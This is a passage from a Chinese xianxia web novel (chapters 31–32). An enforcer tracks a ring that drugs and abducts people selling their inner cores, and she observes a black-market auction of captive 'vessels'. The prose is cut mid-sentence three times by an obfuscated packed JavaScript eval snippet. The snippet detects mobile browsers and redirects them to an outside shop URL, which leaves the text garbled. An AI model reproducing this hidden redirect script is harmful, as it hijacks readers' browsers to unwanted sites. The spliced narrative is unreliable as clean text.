在修界,修仙本就是最大的风潮,只要有条件修炼,几乎不会有人拒绝,哪里存在什么故意教唆的情况。 她摇了摇头,随即向组员们招招手,一行人便拨开人群离开了这里。 凌非远是最后一个离开的,他望着那具瘦小的尸体,满心的不甘与愤懑,可环境如此,身处其间的人又怎么可能幸免呢。 然而周围的看客哪管这背后的原因,纷纷对着宁霄他们的背影指指点点,不断唾骂着缉凶使的冷漠与不作为。 凌非远捏着拳头快步经过,可在听到针对宁霄的更加漫无边际地辱骂后,还是忍不住停下了脚步,冲那人斥道:“你们简直是在胡言乱语!她分明是最仁善的缉凶使!” 在众人愣神之际,他甩袖离去,不想再听到任何恶意的揣测与叫骂。 然而关乎性命的事情总是传播得极快,整条街上的人都开始为这出悲剧唏嘘,隐约还能听到一些人在质疑新的律条对内丹交易的限制。 凌非远一边走一边听,神色也逐渐纠结起来,时不时还回头望望,顿时引起了罗靖的注意。 “仙督?你怎么了?” “嗯?只是在想,他们这样的,算不算自愿交易呢?我们刚才……抱歉,可能是我想得太多了,我也有点迷糊了。” “当然算自愿交易。”宁霄从一家铺子的门口解下踏影的缰绳,头也不回地说道,“律条从集议后刚刚更新,但不论之前还是现在,他们都是违法。” 自从联合督查开始以后,宁霄特地去翻了翻过往和内丹交易相关的案卷,结果发现少得可怜。 “根据内丹交易相关的律法来看,自愿赠与属于绝对的合法范畴,在之前的规定中,自愿交易在价格合理的情况下,也属于合法。可什么价格是合适?律法并没有写明。” 闻言,大家顿时明白了些什么。 “这毕竟不是普通货品,很难定价。所以内丹的交易才一直处于模棱两可的状态,基本没怎么被定过罪。尤其是私下发生的交易,谁都不知道,卖多少谁又能知晓呢?” “一万灵石确实是……我恐怕得攒大半辈子……”陈平轩掰着手指算了算,“都不一定能有。” “现在的律法已然更新,你们应该都看过了,上次集议之后,在仙人们的要求下,修界把自愿交易的规定变成了:一切内丹交易皆为违法。所以即便真的是你情我愿的交易,也行不通了,只要是把价格说出来,那就是不行。” “那万一有人偷偷交易呢?”罗靖噘嘴反驳道。 宁霄环顾四周,牵着踏影将他们带到了一处无人的角落,低声道:“要是私下悄悄交易其实没有谁会管的,只要没有人报官就没事。” 见大家脸上神色各异,她立刻安抚道:“但我们作为缉凶使,只要看见了,就不可能放过,否则就是失职。所以像刚才的情况,大家也不必自责,不是我们的错,更不是我们故意为难。” “一万颗灵石,试问你们谁能负担得起?尤其是刚才的妇人,以她的穿戴来看,恐怕三百灵石都给不出,如果这样的事情不管控,之后再高的天价我们都没有理由管了。而且这样高的利益,又有谁能保证下一次的私下交易,是真的出于双方自愿呢?” 闻言,大家不约而同将目光放在了凌非远的身上。 宁霄也瞥了他一眼,道:“上次的案子已经是一个教训了,所以我们决不能心软。” 至此,大家的心才算是都放回了肚子里,但对于那死去的孩子,依旧是唏嘘不已。 “要是他生在人间就好了。”罗靖踢着石子,喃喃自语。 夕阳西斜,将天际的云照得如同火烧。 宁霄无心欣赏美景,借着拉缰绳的动作,悄悄瞥了一眼手心里的红点。 针尖大小的红点此时愈发鲜红如血。 - 下值后,宁霄按部就班回到小院休息。 三千的伤口已经好了很多,吃的饭量更大了,她只好把另一坛早已枯死的花盆拿来清理干净,作为三千的第二个饭盆来用。 “怎么感觉你长得这么快?是不是长大了些?”宁霄说着双手放在它腋下将它举起,顿时觉得有些吃力。 “你以后自己去山上打猎吧,我真是要养不起你了。” 三千眨巴着眼睛,歪着头看她,蓬松的尾巴摆了摆,看起来心情不错。 天色很快就黑了,宁霄回到卧房,却并没有准备休息。 她换上一身深色常服,去到了暗房,在一个不起眼的角落里,她蹲下身子,做了一个手决,最下一层的柜子便缓缓滑出,露出了里面的东西。 一个长条状的用黑布包裹得严严实实的东西。 她将这东西背在背上,又从暗房里挑了一些东西,这才从楼上下来。 天已经完全黑了,四下安静,周围的邻里恐怕已经入睡了。 宁霄告别三千,离开家门,在黑夜的庇护下很快消失无踪。 然而这一切并非无人知晓。 在小院斜对面的客栈中,黑漆漆的房间内,一双眼睛在看到宁霄的瞬间便亮了起来。 凌非远也不知道自己为什么在缉凶使们下值后,竟莫名其妙地回到了这里。 或许是因为仙督们没有实际的事务,有些无聊,又或者是因为那段时间的生活习惯对他影响颇大,居然在不假思索的情况下都能漫游到此处。 直到他站在小院门口,摸出红鱼吊坠准备开门的瞬间,他才清醒过来。 可即便如此,他也没有离开,反而找了间视野不错的客栈房间,也不点灯,就这么默默注视着小院中的动向。 等到院中灯火熄灭,他才准备离开,然而在看到宁霄身影的瞬间,他没有丝毫犹豫,当即跟了上去。 - 不多时,凌非远便跟着宁霄来到了黑市附近。 外围的集市依然亮着灯,宁霄顺手买了个千篇一律的喜庆面具,顺着大街一路往前。 凌非远见状,也在同一个摊位上买了相似的面具戴上,继续悄无声息地缀在她的身后。 之前的几天,宁霄他们基本只是在黑市的外围打转,但这次她竟一路向前,朝最热闹最拥挤的中心走去。 凌非远心中疑惑,目光却盯得 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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在黑市内部,妖的数量看起来也明显增多,但这未必是因为妖的数量多,而是因为很多妖即便不用化形,也可以在这里生存,而不会受到警告和惩戒。 如此混乱包容的地方,自然而然会催生出一些上不得台面的产业,什么无限制赌坊、妖仆买卖、万行竞酬已经是相对正经的店面了。 不远处,一个花绸装点的大楼外人满为患,百步开外便已是香风扑鼻,远远就能看到一群打扮美艳的人啊妖啊的聚在大楼门外招揽客人。 那是黑市最大的双修馆,因为地段好,几乎所有来黑市的人都不得不经过这团红粉香风。 还没靠近,宁霄就已经熟练地掐诀,封住了自己的嗅觉。 但依旧难逃被围拢拉客的命运,一群打扮各异的男妖和男修拉拽着她的衣袖,勾引着她进店,奈何宁霄步履不停,目不斜视,他们也只好作罢,转向了其他人。 走出几十步后,大街两边逐渐出现了很多小巷和横街。 而真正的黑市中心,就藏在这些七拐八拐的街巷之后。 宁霄立刻闪进一个看起来狭小黑暗的小巷之中,走到一处无人的角落后,又用符咒建了一个隔绝外界的小结界。 等到结界褪去,她已经换了一身黑衣,几乎从头到脚都包了个严严实实。 傻气的面具已经被她换成了黑色的软面罩,露出的双眼又用斗笠遮挡,双手也戴上了黑色的手套,以确保没有任何人可以知道她的长相和身份。 做好这一切后,她抬起右手,默念了一道口诀。 白天在手上落下的红点瞬间蒸腾而出,在她的手心汇聚成了一点红色的水滴。 随着宁霄的移动,红色的水滴涌动着,最后变形成了一条细线,指向了某处。 31. 联合督查(十二) 在黑市拥挤的人潮中,藏匿其间要简单许多,对于如今没有内丹的凌非远来说,实在是一桩好事。 可他万万没有想到,黑市的街巷居然如此错综复杂,除了一条主街以外,简直没有任何形制可言。 他亲眼看着宁霄拐进了其中一个街巷,然而七拐八拐地跟了半天之后,转眼便不见了她的踪影。 无奈之下,他只能胡乱去摸索,甚至还跃上了墙头去寻,然而将这附近的街巷都找遍了,也依旧没有看到她的踪影。 “奇怪……这怎么可能呢?难道是进了哪家院子?” 他一边思索一边跃下墙头,准备回到街巷入口处守株待兔。 才走了没几步,拐角处忽然出现了一个满身黑衣的人,两人不慎撞在一起,好在那黑衣人反应迅速,才不至于撞个满怀。 “啊!抱歉……” 凌非远话还没来得及说,那人便脚步匆匆走远,消失在了街巷之中。 “奇怪,”凌非远往前迈出一步,往黑衣人出现的街巷深处探了探头,“这条巷子里,刚才好像没人啊……” - 宁霄抬手看了看手心里的红色细线,循着细线的指示前进着。 她一边走一边揉了揉自己的左臂,回想着刚才撞到的那人,对他的面具印象深刻,似乎和自己刚才买的滑稽面具有些相似,这与他飘逸绝尘的身姿实在是不相匹配。 不过,黑市什么样的怪人都有,她早已习惯,此时此刻手心中的细线不断摆动着,她更是没有多余的心思去琢磨对方的身份。 在穿过几个街巷后,她在黑市相对边缘的位置找到了那个褐衣男子。 那个在白天时,想要向那对可怜的母子兜售内丹的人。 只见他坐在一个酒肆门外的小几旁,冲着面前的男子大声道:“必须是一万灵石,少一颗都不行!” “诶呦,大哥诶,好说好说,先别忙着谈钱嘛!来,小弟我请你喝一顿酒,我找了一晚上,都快饿死了。” 对面的男人看着很年轻,鼻梁很高,脸也是瘦长条,他笑眯眯地安抚着褐衣男子,随即扭头招呼酒肆老板上酒。 “大哥,我跟您交个底,我都修炼快八年了,一点儿长进都没有,更别提内丹了,我也是听说了前阵子那案子的事儿才想试试的,来这儿转悠好几天了,这才等着您,我可得好好招待您。” “哼,你别跟我说这些客套话,我这人性子直,价钱是多少就多少,我不多要一分也绝不少拿一点儿。” “诶,是是是,价钱好说。您放心,我既然有这个心思来买,那钱财方面您就甭担心啦,但是这买卖毕竟不一般,这怎么拿,怎么给我放进来这咱都得聊聊不是?” 有了买家的保证,褐衣男子这才放下心来,说话虽然不让一步,但语气还是和善了不少。 “行,既然有你这句话,我也就不推辞了,我叫何峡。” “诶,峡哥!”买家当即拱手致意,“您叫我甲子就行。” 一坛酒上桌,两人当即称兄道弟起来,从内丹的品质到两人修炼的经历,简直像是两个多年未见的老朋友。 听了半天,宁霄足以认定他们的交易是板上钉钉的事情了。 她当即抽出一张传讯符,准备招呼组内的其他人过来。 可不等她行动,就见那叫甲子的,趁着何峡仰头吞酒的时机,伸手在酒坛里撒了点白色的粉末进去。 “来大哥,小弟给你满上,咱们今日一见如故,我真是太高兴了,那咱可说好了,你的内丹只能卖我昂,你可不能给别人!” “你放心,只要钱到位,我肯定优先给你。”何峡被捧得乐不可支,不疑有他,直接将一碗酒灌进了肚里。 就在他喝净刚把手放下之时,那甲子冲他面门一挥手,他当即就两眼一对,昏倒在了桌上。 “诶呦!大哥你怎么喝这么多?”甲子说话的情绪很是生动,可脸上却面无表情,他立刻凑到何峡身边查看情况,随即用手背给了他两个嘴巴子。 何峡依然睡死过去,甲子当即招手道:“老板!结钱!” 从酒肆内磨磨蹭蹭走出的老板瞥了他们一眼,什么都没问,收了银子就往里走。 甲子则已经将人架了起来,半扛半抱地往旁边一个小路上去,嘴里还念叨着大哥小弟之类的言语,做戏做得十分自然。 宁霄将符纸收回衣襟,默不作声缀在了两人身后。 自称甲子的人颤颤巍巍把何峡架到没什么人的小路上,不一会儿,一个人影忽然从一旁的屋顶跃下,径直走到了甲子的面前。 只见甲子将人往同伴身上一推,啐了一口骂道:“死东西这么重!猪脑子还想卖一万灵石,呵!” 新来的同伴个头更高些,熟门熟路地将人架了起来,道:“走吧,赶紧把人带过去。” 闻言,甲子不情不愿地站到另一侧,和同伴一起带着人在小路和巷子间穿梭。 为了不打草惊蛇,宁霄将距离拉远了一些,敛气屏息跟着他们七拐八拐来到了黑市北侧。 与刚才繁华的地区不同,这里更靠近郊野,尽管沿路都建了铺子和居住地,但相对要显得冷清一些。 他们架着何峡走向一家客栈,宁霄跟着靠近,从客栈侧面一跃而上,轻巧落在了一处阴影遮蔽的位置。 她将聆音豆贴在瓦片上后,细线一般的藤蔓立刻伸展到了窗边,里面人们的说话声也尽数传来。 只听得客栈内都是其他人的杂音,不一会儿,才有两个喘息声伴随着脚步声逐渐加入,随后站定在了距离窗户比较近的位置。 “今晚要不要先收手?最近看得很严。” 甲子同伴的声音先行出现,尽管路上只听了几句,但宁霄还是瞬间认了出来。 “没事儿,管这片的缉凶使是个新人,什么都不懂。” “可是除了巡逻的还有分署的人,谁知道他们会不会便衣混进来。” 甲子语气很是烦躁,“我们拖醉酒的朋友来住店,有谁会在意?我不是跟你说了嘛,新的律条已经出来了,很多想单独出手内丹的人找不到买主,都来黑市偷偷兜售了,这可是我们拐人的好机会!” “嗯,你说得没错,这些人本身就有内丹,还想找买主,好接近,抓了就能直接剖,比平时豢养要便宜。” “乌舟啊乌舟,我跟你说过了,做这一行不能怕累,更不能胆儿小,不然没得赚!你以为只有我们盯着这些肥肉啊?” 甲子说话间得意洋洋,喝了口茶水后,悠悠道:“不过今天能抓两个已经不错了,再多就运不走了。” 听到这儿,宁霄的心跳声都加快了。 她没有轻举妄动,等着看他们要把人都运到哪去。 然而两人却聊起了闲天,不多时,就商量着要去寻欢作乐,朝客栈外走去。 宁霄立刻收起聆音豆,躲在阴影中,目送那两人远去。 听他们刚才的意思,他们在这客栈里藏了不少拐来的人,可是她听了半天,愣是没有听到这些人被关在了哪里。 难不成是被迷晕后当做客人留在客栈房间了? 她小心翼翼攀上客栈的屋檐,随后顺着房檐转圈,聆听每个房间的动静,稍有可能就用符咒窥探,可找了一圈都没有找到。 回忆了一下刚才他们进入客栈的声音走向,宁霄心里顿时有了一个猜测。 那两人的声音是从客栈一层的东北角消失和重新出现的,那个位置没有楼梯,想来应该是把人送到了客栈后厨的某处,不是暂时关押就是有密道。 于是她又绕着店铺外围探查了一遍,并没有看出有什么奇特之处,只好抽出听音的符纸。 口诀一出,符纸即燃,她用手将燃烧的符纸压在土地上,很快就有不少细微的声音闯入她的脑海。 在纷繁的脚步声和地下动物的杂音中,她听到了几声细微的喊叫声。 顺着这些哭喊的声音,她很快确定了声音传来的方向,抬头朝后院相应方位一瞧,她一眼就看到了一个立在院中的坛子。 坛子之下,隐约能看到木板的形状,应该是一处地窖。 趁着后院无人,她当即跳了进去,来到地窖旁边细看,然而伸手去触摸木板的瞬间,她立刻感受到了一股阻碍,手指根本触碰不到木板的缝隙。 必然 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17122089|193945||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是有人在这里施加了屏障。 宁霄弯腰去听,根本没有一丝声音可以从这里传出。 忽然,一道脚步声从前屋传来,她不敢逗留,立刻跃出了院子,躲在了院墙下。 “明天白天肯定是不能运了,最早只能等明晚了。”一个上了年纪的声音传来。 另一个人则道:“不再等等了?明晚再抓两个再走呗?” “最近是丰收,但也不能太得意忘形,一旦被发现,就是白干。” 两人聊了一会儿后,不多时就离开了院子。 宁霄摸着怀中的传讯符,又低头看了看自己这一身黑衣的打扮,还是放弃了。 今天恐怕并不适合突袭。 她今天还有别的事要做,而且她和组员们还没有一起参与过抓捕,万一配合不当,恐怕还会适得其反。 况且这些人一听就是一伙儿的,既然他们今晚还没捞够,不如放长线钓大鱼,抓他们个现行。 思及此处,她默默在此处做了个标记,又将刚才听音的符纸灰烬收拢,用布兜装好,离开了此处。 踩好点后,宁霄顺着大路往回走,重新回到了热闹的主街。 回想起甲子和同伴的话,宁霄立刻调转方向,往黑市最大的竞酬场子走去。 既然这些诱拐掠卖和交易内丹的嫌犯都趁着这个时候,想收拢那些想要出卖内丹的个人,那么这样的机会必然在黑市已经成了风向。 而黑市最有可能进行人口和内丹交易的地方,必然是万行竞酬。 像何峡一样蠢到白天当街售卖内丹的人恐怕不多,黑市的交易,往往集中于后半夜,所以她决定先在黑市内部探查一番。 在后半夜,这样隐秘的交易非常多,他们买卖人口、妖仆或炉鼎等就好像白天在外围买菜一样常见。 黑市的交易相对来说更加自由灵活,同时,危险也是相伴随的,连缉凶司都不能完全管控得住。 多年来,已经形成了一种默契和共识,贪心的和不怕死的,自可以去黑市闯一闯,可一旦进去,就未必有机会能出来。 多少人都觉得自己聪明,想在黑市捞一笔,但往往得利的不足十之一,即便如此,仍旧有不少人前赴后继扑进来找死。 万行竞酬就开在主街北侧的一家大的茶楼内部。 这家茶楼名唤“天西茶舍”,白天主营茶水歌舞,晚上则会随机开展竞拍业务。 宁霄到的时候,茶楼仍是灯火通明,人头攒动。 刚要进去,就被两侧的侍从给拦下了。 “客人,里头人满了,喝茶的话,不妨去斜对街的铺子,也是一样的茶水。” 宁霄不语,从怀中摸出了一个纹佩,样子是金环上落着一片弯折的金叶子。 两个侍从一看,当即变了脸色,其中一个立马将她迎了进去。 踏入茶舍大门,便看到三栋茶楼,中央是一处露天的院子,流水环绕的中心有歌有舞,四面则是露天的茶座。 左右两侧的茶楼一共五层,露台上亦有很多客人在欣赏院中的歌舞。 而在这大门对面,才是最金碧辉煌的主楼,一共六层。 然而与两侧的副楼不同,主楼的露台上,人们无心欣赏院中歌舞,一个个背对着宁霄,朝楼内某处张望着。 宁霄循着院中流水绕过院子,被引入了主楼之中。 一踏入楼内,便见其中座无虚席。 主楼中空,抬头便能看到每一层的结构与客人们的身影,而此时,所有人无不关注着一楼中央的台子。 只见中心的高台上,正放着个笼子,外面的布一掀开,便露出了笼中的人。 “真是眼拙了,差点让贵客在门外久等,来来来,楼上还有位子。” “不必了,”宁霄指着一楼侧面。“我去那边,坐一会儿就走。” “诶!得嘞!” 侍从立刻上前开路,给宁霄找了个单人茶座,虽然离中间的台子远些,但在台阶之上,视野不错。 环顾四周,不少人腰带上都挂着金环茶叶的纹佩,那是茶楼给重要客人发放的纹佩,凭此纹佩可以随时进入竞拍场合。 32. 联合督查(十三) “贵客要点多长时间?” “两刻钟。” “得嘞!” 虽然宁霄把自己包得严严实实的,但没有一个人多看她一眼,因为在黑市,多得是这样打扮的人,熟客们早已习惯,注意力都放在了一层中央的竞拍台上。 “高品质炉鼎!出身玄门,年轻端正,非常干净!”负责叫卖的正是茶楼的自己人,他手里拿着拍品的详细介绍,向在座的看客们介绍着。 “多干净啊?去过双修馆吗?”立刻有客人询问道。 叫卖人当即挥挥手道:“没去过,绝对没去过,从玄门出来以后就被看管起来了,绝对干净!” “好,接下来宣布竞拍起价——三万灵石!” 价格一出,就有人质疑道:“怎么这么贵啊?!” “这位客官,您别着急,此炉鼎体质特殊,双修时可以帮助调理灵台,协助灵气运转,大补哇!” 笼中的男人被蒙着眼睛,上半身裸露着,供人观赏品评。 宁霄案上的茶很快被端了上来。 她没空去理会竞拍活动,只是靠在椅背上,窃听周围人的谈话。 能来到竞拍场中的,非富即贵,要么就是有点特殊的本事。在宁霄身边的几位一听就是做生意的,对近来的联合督查行动颇有微词。 “这次的督查实在是影响我生意,每天客人那么多,本来就得应付分署那些人的检查,现在好了,又来一波,我生意还做不做了?”宁霄左前方的一个大腹便便的男人一边喝茶一边跟身边人说道。 他身边的同伴瘦伶伶得好似只长了一把骨头,支着胳膊靠近他,低声问道:“昨天发布的新律条你看了吗?” “我知道,律条不宽松啦,内丹交易这下是彻底被盯上了。” “是啊,说是完全不准交易了,一旦被发现就是犯罪,诶?今晚的竞拍,没有内丹和丹奴了?” “我听说啊,茶舍掌柜要避避风头,所有相关的拍品都给撤了,怕是要看看风向。” 听到这儿,宁霄立刻警觉了起来。 她很久没来黑市了,也不曾关注过这里竞拍的拍品,这么一听,才发觉这茶舍里大有文章。 那瘦伶伶的人又开口道:“诶,我还听说呀,今天白天那巡查的缉凶司就在外面抓了一个卖内丹的,有小孩儿要内丹救命的呀!直接把孩子活活拖没命了!” “啧啧啧,实在是法不容情,太可恶了!”大腹便便的商人用力将杯子砸在桌上,一副愤慨的样子。 “谁说不是呢?这买卖讲究的就是个你情我愿,这小孩儿生病了要内丹,那卖内丹的也是资源,干嘛不能成全一下呢?” “哼,这么无情,简直是杀生!” 宁霄就这么静静听着,默默思索了片刻后,垂眸饮了几口茶,便冲席间来回走动的小厮招招手,将银钱搁在桌上,起身离开了。 在她还小的时候,修界才刚刚出现,许多人热衷于修仙,认为修界的出现是上天的昭示,于是纷纷加入了这场热潮。 可很多人资质不同,不少兴致勃勃去修仙的人根本修不出内丹,又或者修出的内丹品质很差,于修仙大道而言,实在是一大打击。 但是遇到困难时,总有人能找出一些法子,就比如他们发现可以将别人的内丹拿来为自己所用,或是整个替换掉,又或者融合到自己的内丹里,从而强大自身。 能修仙的天才实在不多,于是越来越多的人就想借助这样的办法来通关,可是需求这么多,又有谁愿意付出呢? 内丹有市无价,想来必然会催生出掺着血的交易。 若是自愿交易的还算好的,若是碰上兜售内丹的中间人,又如何去确认他们手里的内丹,是别人心甘情愿卖掉的呢? 根据凌非远的说法,以及案卷上的描述,想要完成这一系列的交易和吸收,不仅要知道怎么取丹、怎么炼化,还得知道如何吸收,否则,不可能达成最终的目的。 那么这中间的许多过程和步骤,难免不会催生出新的买卖。 内丹的买卖尚且催生除了这么多游走于律条边缘的行为,何况是活生生的丹奴呢? 白天那妇人恸哭的声音和孩子灰白的脸,还浮现在宁霄的脑海之中,可她并不觉得自己做错了。 就像今晚被人带走的何峡一样,白天时他还是狮子大开口的卖家,到了夜晚,也就变成了被人收割的猎物。 一个人的内丹就可以卖出一万灵石,那么可以持续修炼出内丹的人呢?简直就像是一只可以持续下蛋的母鸡一样,其中的暴利,足以让一些亡命之徒为之疯狂。 她只觉得这新的律条,实在是来得太迟了。 宁霄走在街上,四处窥视着,总觉得满大街都是潜在的罪犯。 可自己眼下才刚刚将头探入这池浑水之中,鱼儿们还没有现身,她只能屏气凝神,静静等待。 而此时此刻,她得先去找点鱼饵出来。 顺着春沙大街一路向东,那里才是黑市最中心的位置。 随着人潮愈发汹涌,宁霄穿过拥挤的人群,来到了一个圆形的广场。 广场大约有天西茶舍的院子那么大,四周环形的边缘立着许多告示榜,上面层层叠叠贴着许多纸张。 而在广场的中心,立着一块石碑,上面用题有“盘金”二字,既是广场的名字,也是这个消息集散地的名字。 只要细看就能明白,四周的告示榜上贴着的全是赏金令,凡是有问题没法解决的都可以在此张贴布告,等待赏金客接手处理。 宁霄绕着圈子把悬赏大致看了一遍,并没有发现和内丹相关的内容。 于是她回广场中心,顺着主街穿过广场,来到了广场的外围。 在广场的东北侧,有一棵四人合抱的古树。 宁霄熟门熟路来到古树背后,只见这古树的树干处,竟有个大洞,足以容纳一个人进出。 然而她对此并不惊讶,只是检查了一下自己的着装,在确保没有任何裸露之处后,才微微弯腰踏入了树干之内。 里面的空洞足以容纳三四个人同时站立,她当即默念了一串咒语。 一股混乱恍惚的感觉瞬间袭来,四周的法阵骤然发动,随之而来的则是周围闷闷的脚步声。 睁开双眼时,她已然离开了原处,面前的古树不再是树干,而是虬结蜿蜒的粗壮树根。 而这里,这就是黑市的地下。 除了古树这个通道以外,黑市的地下还连通着很多其他的通道,只不过其他的路线要走很久,而且要想进入这个更加内部的场地,还需要一些人脉关系才能通过,实在是麻烦。 相比地上世界,地下的黑市场域有些分散,但有不同通道连接,会更加灵活,功能也更加紧凑。 以古树为中心,四周有五个有些逼仄地通道,宁霄选择了古树背后的一个通道,一路向前,不多时,便见眼前一片开阔,人声喧嚣。 四处望望,前面依旧是一个圆形的广场,中间矗立着石碑,依旧是“盘金”二字。 只不过这个广场要比地上那个小了一圈,里面依旧是人满为患,大多数人都和宁霄是一样的打扮。 而这里,才是黑市中更加内部的悬赏广场。 宁霄照例去扫了几眼,不多时,就发现了和内丹相关的悬赏。 看完一个,她继续去找下一个,却忽然被人给拦了下来。 一扭头,便见一个小老头笑眯眯地站在她面前,殷勤道:“诶呀!好久不见了呀!游鸮,我都快认不出你来了!” 尽管他话音压得很低,可周围还是有不少目光闻声朝宁霄看来。 宁霄余光扫见,却并不在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17122090|193945||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 意,“嗯,最近有点事,您倒是眼力不减。” “若不是你背上的武器,我还真是有些不敢认呢,诶?今儿是来接悬赏?” “老赵,你这儿有没有接到关于仙人内丹的消息?” 赵竹华闻言有点发懵,“你是要贴悬赏?” “只是最近听人们说起,有点兴趣。” “呃……”老赵挠了挠头,“仙人的内丹,还没人在这儿贴过相关的悬赏,不过我倒是看到有人悬赏要丹奴的。” 宁霄下巴一抬,老赵当即就转过身去,绕着告示榜一边找一边道:“上次那个仙界丹奴的案子你应该也听说了吧?自那个案子破了之后,他们的货源好像就断了” “诶,找着了。”老赵停下脚步,指着告示榜上的悬赏给她看。 如此找了一圈,拢共找到了五六条悬赏,相对而言,赏金并不算高,超过一万灵石的也就是个丹奴的价格。 想来也是,要是能搞到丹奴,谁还会当这个中间人嗯?直接自己转手卖了都比赏金要高不少。 但宁霄心里依旧有些担心,明天的巡查必定是得倒班到晚上,好尽快动手了。 “老赵,这几份悬赏帮我各拓印一份吧。” “好嘞!” 拿到内丹、丹奴的悬赏拓印后,宁霄没有多待,很快回到了地上黑市。 她找到一处没人的街巷,将身上的黑衣换了下来,重新换上了来时的衣服和面具,然后拿着悬赏一边看一边顺着大街往外走去。 可才走了没几步,忽然有人从背后拍了拍她的肩膀。 她瞬间转身,手也下意识放在了背后用黑布裹起来的武器上。 “宁……” 然而一打眼,却发现眼前的人竟是凌非远?! “……霄。” 宁霄的心登时提到了嗓子眼,她立刻转过身去,将手中的悬赏塞进了衣襟里,脑子里疯狂想着自己来黑市的借口。 然而凌非远却似乎并未察觉,反而面带兴奋地转到她的面前,问道:“你是不是来偷偷查案的呀?” 宁霄没有回答,反问道:“你来这儿做什么?” 凌非远的表情一顿,随即移开视线,笑道:“我还没来过黑市呢,有点好奇……哦,我来的时候在外面看到你了,你这个面具就是在外面买的对吧?” “我本来想跟你打招呼的,可你走得太快了,才一转眼你就不见了,我在这里面兜了好几圈,终于找到你了!”他一边说着,一边举起自己手上的面具晃了晃。 宁霄盯紧一看,认出了这个面具,随即又扫视了一下他的穿着,脑中瞬间如五雷轰顶。 然而她面上不显,深吸了一口气后,想起了茶舍的纹佩和树洞后的静谧,这才缓缓放下心来。 随即咬着后槽牙威胁道:“我来干什么用不着你管,但你最好别多嘴。” “好!”凌非远并不生气,反而伸出右手,三指并拢指向天空,语气郑重道:“我发誓,你来黑市的事情天知地知你知我知,我要是告诉别人,我就永远回不了仙界。” 见状,宁霄简直无话可说了。 明明在典册府时自己都已经把重话都说尽了,可他居然还上赶着自讨没趣,简直像是一拳砸在棉花上,让宁霄都不禁有些泄气了。 她死死盯着他澄澈的双目,随即撇过头去愤愤甩袖,却是一句话都说不出来了。 心中则暗暗想着,反正自己该藏的已经藏好,管他发不发誓呢。 “嘿嘿,需要帮忙吗?” 宁霄本想拒绝,可一抬眼,正看到不远处有个买卖妖仆的摊位。 大多数妖仆都是化形还不完全的样子,可在摊位的最里侧,被妖仆们遮挡的地方,竟绑着一个全须全尾的人。 出于缉凶使的敏锐,宁霄忍不住迈步上前探查一番。